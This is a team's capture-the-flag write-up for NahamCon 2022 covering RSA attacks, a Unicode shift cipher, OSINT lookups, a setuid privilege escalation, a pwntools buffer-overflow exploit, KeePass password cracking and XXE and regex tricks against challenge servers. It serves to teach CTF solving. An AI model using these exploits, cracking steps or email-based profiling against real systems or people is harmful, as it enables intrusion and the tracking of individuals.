Nahamcon 2022

crypto

BABY RSA

Solved BY : Avantika

We are given a connection to server, where we are presented with some options as follows

options do as their description says, we will jump right into the quiz

Quiz #1 is pretty simple RSA challenge, here is the script to solve that

from Crypto.Util.number import inverse
c = ciphertext
e = e
n = n
#find p and q using factordb.com
p = p
q = q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
print(m)

Quiz #2 is small e attack, we just need to take cube-root of the cipher-text and we get the plain-text

from decimal import Decimal
import decimal
def cube_root(x):
    return Decimal(x) ** (Decimal(1) / Decimal(3))
with decimal.localcontext() as context:
    context.prec = 150
    print(cube_root(ciphertext))

Quiz #3 is fermat-attack as the primes chosen were too close

import gmpy2
import math
n = n

def fermat_factor(n):
    assert n % 2 != 0

    a = gmpy2.isqrt(n)
    b2 = gmpy2.square(a) - n

    while not gmpy2.is_square(b2):
        a += 1
        b2 = gmpy2.square(a) - n

    p = a + gmpy2.isqrt(b2)
    q = a - gmpy2.isqrt(b2)

    return int(p), int(q)


(p, q) = fermat_factor(n)

print("p = {}".format(p))
print("q = {}".format(q))

Solving these two gives us our flag.


UNIMOD

Solved By : Avantika

In this challenge we are given the following script along with the cipher text

unimod.py

import random

flag = open('flag.txt', 'r').read()
ct = ''
k = random.randrange(0,0xFFFD)
for c in flag:
    ct += chr((ord(c) + k) % 0xFFFD)

open('out', 'w').write(ct)

output.txt

饇饍饂饈饜餕饆餗餙饅餒餗饂餗餒饃饄餓饆饂餘餓饅餖饇餚餘餒餔餕餕饆餙餕饇餒餒饞飫

Looking at the script we can see that a random integer is being assigned to the variable k , to find this integer, we can do a simple trick, as we know that first letter of flag, is going to be f i.e 102 in ASCII chart , we can brute-force to find k, here is the brute-force script

ct = '饇饍饂饈饜餕饆餗餙饅餒餗饂餗餒饃饄餓饆饂餘餓饅餖饇餚餘餒餔餕餕饆餙餕饇餒餒饞飫'

for k in range(0, 65533):
    goal = ct[0]
    goal = ord(goal)
    num = (102 - k) % 65533
    if goal == num:
        print(k)
        break

Script simple takes the first character of cipher-text, gets the ASCII value to and assigns that to goalthen just “reverses” what the unimod.py script did

Next part is pretty easy, we just perform the same operation again on the cipher-text and we would get the flag

k = 26396
for char in ct:
    print(chr((ord(char) + k) % 65533), end='')

This prints out our flag.

Keeber Security Group

Keeber 1

Solved by: Starry-Lord

By searching for keeber security group on google we quickly found a valid domain at keebersecuritygroup.com, then finding the registrant name online gave the flag.


Keeber 2

Solved by: Starry-Lord

We can check for past versions of most website, and we find they fired Tiffany Douglas:


Keeber 3

Solved by: Starry-Lord

Here is their github:

https://github.com/keebersecuritygroup

https://github.com/keebersecuritygroup/security-evaluation-workflow/commit/e76da63337cfabb12ea127af3f86168e9dd08428

We can see at this point in time a file called asana_secret.txt was uploaded to the github by mistake, Tiffany made a typo in the .gitignore file which ended up preventing asana_secret.tx from being commited (which doesn’t exist). Looking up Asana, I read we can query other users e-mails if we invite them to a group we create. It didn’t help us here but still noticeable detail. Researching more on asana, I discovered it has an API which allows to get information back with the right Authorization Header.


Keeber 4

Solved by: Starry-Lord

To open this kbdx file we can use keepass2 on Kali Systems, after grabbing it from the github.

To make a custom wordlist from public facing information I used cewl:

cewl https://raw.githubusercontent.com/keebersecuritygroup/security-evaluation-workflow/main/code_reviews.txt > code_reviews.txt 

I did so for each text files in the /security-evaluation-workflow/ repository.

Then I had to turn it into a crackable format with keepass2john:

starlord@HAL-9000:~/Bureau/Fun/Nahamcon2022/Keeber$ keepass2john ksg_passwd_db.kdbx 

ksg_passwd_db:$keepass$*2*58823528*0*d1aa5a09ccf3f75d30ea2d548ca045d28252c90adc8bf016bd444cbb3d6d5f65*580f6c41d95ea9407da649ee0312209f1686edf0b779458d57288ed7043c60ff*aec6b24ac45bf46d4b632d5e408799c7*4fa205b599089f79005e176c9c47690ffc58492169309a47613d4269a8ef2a52*f51a2a1f36f1ca1d10439aa78eccece46337274880f594f5a62a703f6007374f

password: craccurrelss


Keeber 5

Solved by: Starry-Lord

Clone the repository /security-evaluation-workflow/ and check commit logs.

email: tif.hearts.science@gmail.com

Keeber 6

Solved by: Starry-Lord

Lost a piece of my soul and made a yelp account, to look for reviews by e-mail.


Keeber 7

Solved too late by: Starry-Lord

e-mail: cheerios.fanatic1941@gmail.com

https://seon.io/resources/the-ultimate-guide-to-free-email-lookup-and-reverse-email-lookup-tools/

This online tool showed a mention about myspace, so I sacrificed another bit of my soul and made a MySpace account. This allows us to find the flag and a new username:


Keeber 8

Solved too late by: Starry-Lord

myspace username: cereal_lover1990

A quick search for the username with another online tool reveals a matching user on pastebin.com:

https://pastebin.com/u/cereal_lover1990

content of Chump List:

misc

To be and not to be

Solved by : thewhiteh4t

This challenge excepts only alphabets and character length is 3

Found the solution here :

https://github.com/freeCodeCamp/freeCodeCamp/issues/11763


Gossip

Solved By : Starry-Lord, Taz, Legend, thewhiteh4t

This one involved an ssh connection to a Linux machine. We could find kubernetes secrets in the usual /run/secrets/kubernetes.io/serviceaccount which revealed it was a kubernetes container. After a bit of enumeration I learned about CVE-2022-0185 which allows us to escape the container, but it looked like it had been patched.

Further enumeration led me to find a few sticky bits on some of the binaries in /usr/bin. I looked them up to find a fitting one called dialog, which will allow us to read files with elevated permissions:

user@gossip-9d9e950dfdcbda12-64cdd78676-psbqk:/usr/bin$ ls -la dialog 
-rwsr-sr-x 1 root root 260736 Jan  3 23:30 dialog

After a bit of cleaning up we can use this key to login as root.


Steam Locomotive

Solved by: Legend

In this challenge we were provided with a ssh credentials to get the flag, with a hint that ls command was getting mistyped accidentally.

When I connect to the ssh it was playing an animation of steam engine, sl command which is Steam Locomotive, and then when the animation was over then immediately the session was getting disconnected.

To retrieve the flag we needed to read the flag and since ssh allows direct command execution during connection we can read the flag using that.

mobile

Mobilize

Solved by: Legend

In this challenge an andorid APK was given.

Initially I installed the apk on android vritual device to check what’s the app is about and to know what’s happening with the app. But there was nothing informative.

Then with the help of apktool I decompiled the apk to see what’s the functioning of the app and also to look for flag string. Their were lot’s of sub-directories so I juse used grep to see if the flag might be present in plain text, and got the flag.

pwn

Babiersteps

Solved By : thewhiteh4t

#!/usr/bin/env python3

from pwn import *

host = 'challenge.nahamcon.com'
port = 32628

offset = 120
junk = b'A' * offset
win_addr = 0x4011c9

le_win_addr = p64(win_addr, endianness='little')
payload = junk + le_win_addr

conn = remote(host, port)
conn.recv(1024)
conn.sendline(payload)
conn.interactive()
conn.close()

warmups

crash override

solved by : thewhiteh4t

Basic buffer overflow challenge. In the c code we can see that buffer size is 2048, I just sent 2060 “A” and got the flag


exit vim

Solved By : Starry-Lord

ctrl+c , semi-colon(type :), q char, enter


prisoner

Solved By : Starry-Lord

ctrl+d to escape the python like shell


flagcat

Solved By : Starry-Lord


wizard

Solved By : Starry-Lord

Used CyberChef and python to decode the strings

Quirky

Solved By : nigamelastic

the input file has the following content

\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\x00\x00\x6f\x00\x00\x00\x6f\x01\x03\x00\x00\x00\xd8\x0b\x0c\x23\x00\x00\x00\x06\x50\x4c\x54\x45\x00\x00\x00\xff\xff\xff\xa5\xd9\x9f\xdd\x00\x00\x00\x02\x74\x52\x4e\x53\xff\xff\xc8\xb5\xdf\xc7\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0b\x12\x00\x00\x0b\x12\x01\xd2\xdd\x7e\xfc\x00\x00\x01\x25\x49\x44\x41\x54\x38\x8d\xd5\xd4\x31\x8e\xc3\x20\x10\x05\xd0\xb1\x5c\xd0\x25\x17\x40\x9a\x6b\xd0\x71\x25\xfb\x02\xb6\xf7\x02\xce\x95\xe8\xb8\x06\x92\x2f\x40\x3a\x0a\x94\xd9\x8f\x23\x45\xbb\xc5\x66\x68\x52\x2c\xa2\xe0\x21\x21\xcf\x0c\x83\x49\x7e\x0d\xfa\x1f\xcc\x44\x8b\xaf\x6b\xb0\x44\xac\xf2\x2e\x75\x72\xe3\x66\xea\x2a\x1d\x0c\x76\xc1\xe7\x82\x9d\x4c\x17\x27\x97\xc8\xd4\x4e\xae\x91\xd6\x62\xbb\x28\x75\x8e\xf5\x1a\xed\x2b\xc8\x37\x44\xbe\x73\xb4\x98\xaf\xf4\xdf\xf0\x1c\xf6\x5a\x7e\x16\xf6\x4f\x66\xb2\x64\x78\xf3\xc7\xee\x3a\xe8\x0f\xac\x25\x10\x39\x56\x79\x2f\x74\x71\xe3\x57\x94\x87\x11\x9d\xf1\xd8\x5b\x6c\x34\x79\x9d\x0f\x8f\xb3\xb2\xfb\x73\x53\xa5\x3b\x36\x33\xa2\xf8\x73\x60\x95\x52\xea\x10\xd3\xc5\xf0\x7e\x46\xf5\x9e\x77\x19\x6f\x6d\x4a\x76\x3a\x25\xa0\x49\xda\x05\xdd\x22\xab\x44\xbe\x38\x28\x25\xcd\xa5\x83\x92\x86\x82\x90\x0e\x14\x53\x67\x44\x1f\xd6\x39\xa0\xfe\xac\xb3\x9d\x95\xdd\x10\x19\x51\x89\x91\x3d\x21\xa4\xec\x58\x25\x3a\x76\xf2\x69\x68\xaf\x4c\x54\xe2\x2d\x2c\x1e\x95\xe4\xec\x59\x27\xae\x52\xd0\xb4\x34\x3c\xf3\x55\x89\x85\xf0\xc3\x71\x17\x0b\xdf\x42\x22\x27\x3a\xf1\x7e\xd1\x2d\x68\xaa\xa2\xb3\xe5\xdb\x3a\x56\xb2\xd1\xf9\xb9\x5f\xee\xa7\xf8\x0d\x69\xf5\x37\x77\x6e\xf8\x09\x97\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82

seems like a hex code: on converting from hex gives u the following the following

‰PNG
�

IHDRoo��Ø��#�PLTEÿÿÿ¥ÙŸÝ�tRNSÿÿȵßÇ        pHYs�����ÒÝ~ü�%IDAT8ÕÔ1ŽÃ ��б\Ð%�@škÐq%û�¶÷�Εè¸�’/@:
”ُ#E»ÅfhR,¢à!!Ï�ƒI~
ú�ÌD‹¯k°D¬ò.urãfê*��vÁ炝L�'—ÈÔN®‘Öb»(uŽõ�í+È7D¾s´˜¯ôßð�öZ~�öOf²dxóÇî:è�¬%�9Vy/tqãW”‡�ñØ[l4y�³²ûsS¥;63¢øs`•Rê�ÓÅð~Fõžw�omJv:% IÚ�Ý"«D¾8(%Í¥ƒ’†‚��SgD�Ö9 þ¬³•Ý��Q‰‘=!¤ìX%:vòih¯LTâ-,�•äìY'®Rд4<óU‰…ðÃq��ßB"':ñ~Ñ-hª¢³åÛ:V²Ñù¹_î§ø
iõ7wnø        —IEND®B`

We can clearly see its a PNG file so just convert it to png and it will give u the following QR code

Scanning the code will give u the flag aka

flag{b7e2a32f5ae629dcfb1ac210d1f0c032}

web

Jurrassic Park

Solved By : Starry-Lord

This easy challenge made me (finally) realise John Hammond has the same name as the Owner of the Jurrassic Park in the first movies.

Pretty cool site by the way:

content of /robots.txt

User-agent: *
Disallow: /ingen/

The flag was here http://challenge.nahamcon.com/ingen/flag.txt


EXtravagant

Solved By : nigamelastic

The challenge mentions the following:

The flag is in /var/www

on accessing the website we see a normal interface with xml parsing as a service

from the mentioning of XML it seems that this might be an XXE

Since we already know the locaiton of the flag I used the following payload:

I simply uploaded it to the trial tab:

and then used view XML tab to view my xml

This would give flag


Personnel

Solved By : nigamelastic

The Challenge contains a python file, On opening the python file u can clearly see som regex fu going on:

going through the code and testing it on the live link, u can see that it ignores the first letter if its upper case, and makes a logic around it. Its better if u view it in a debugging tool , I use regex101

I also went through the official documentation (https://docs.python.org/3/library/re.html) to see if there are any special characters that can be used. the most interesting one was | As per the documentation:

|
A|B, where A and B can be arbitrary REs, creates a regular expression that will match either A or B. An arbitrary number of REs can be separated by the '|' in this way. This can be used inside groups (see below) as well. As the target string is scanned, REs separated by '|' are tried from left to right. When one pattern completely matches, that branch is accepted. This means that once A matches, B will not be tested further, even if it would produce a longer overall match. In other words, the '|' operator is never greedy. To match a literal '|', use \|, or enclose it inside a character class, as in [|].

Once u go through it with a flag{randomString} u will find that the following regex would allow it.

So now we remove our initial regex and just add the ones we used aka |flag{.*}| which gives u the flag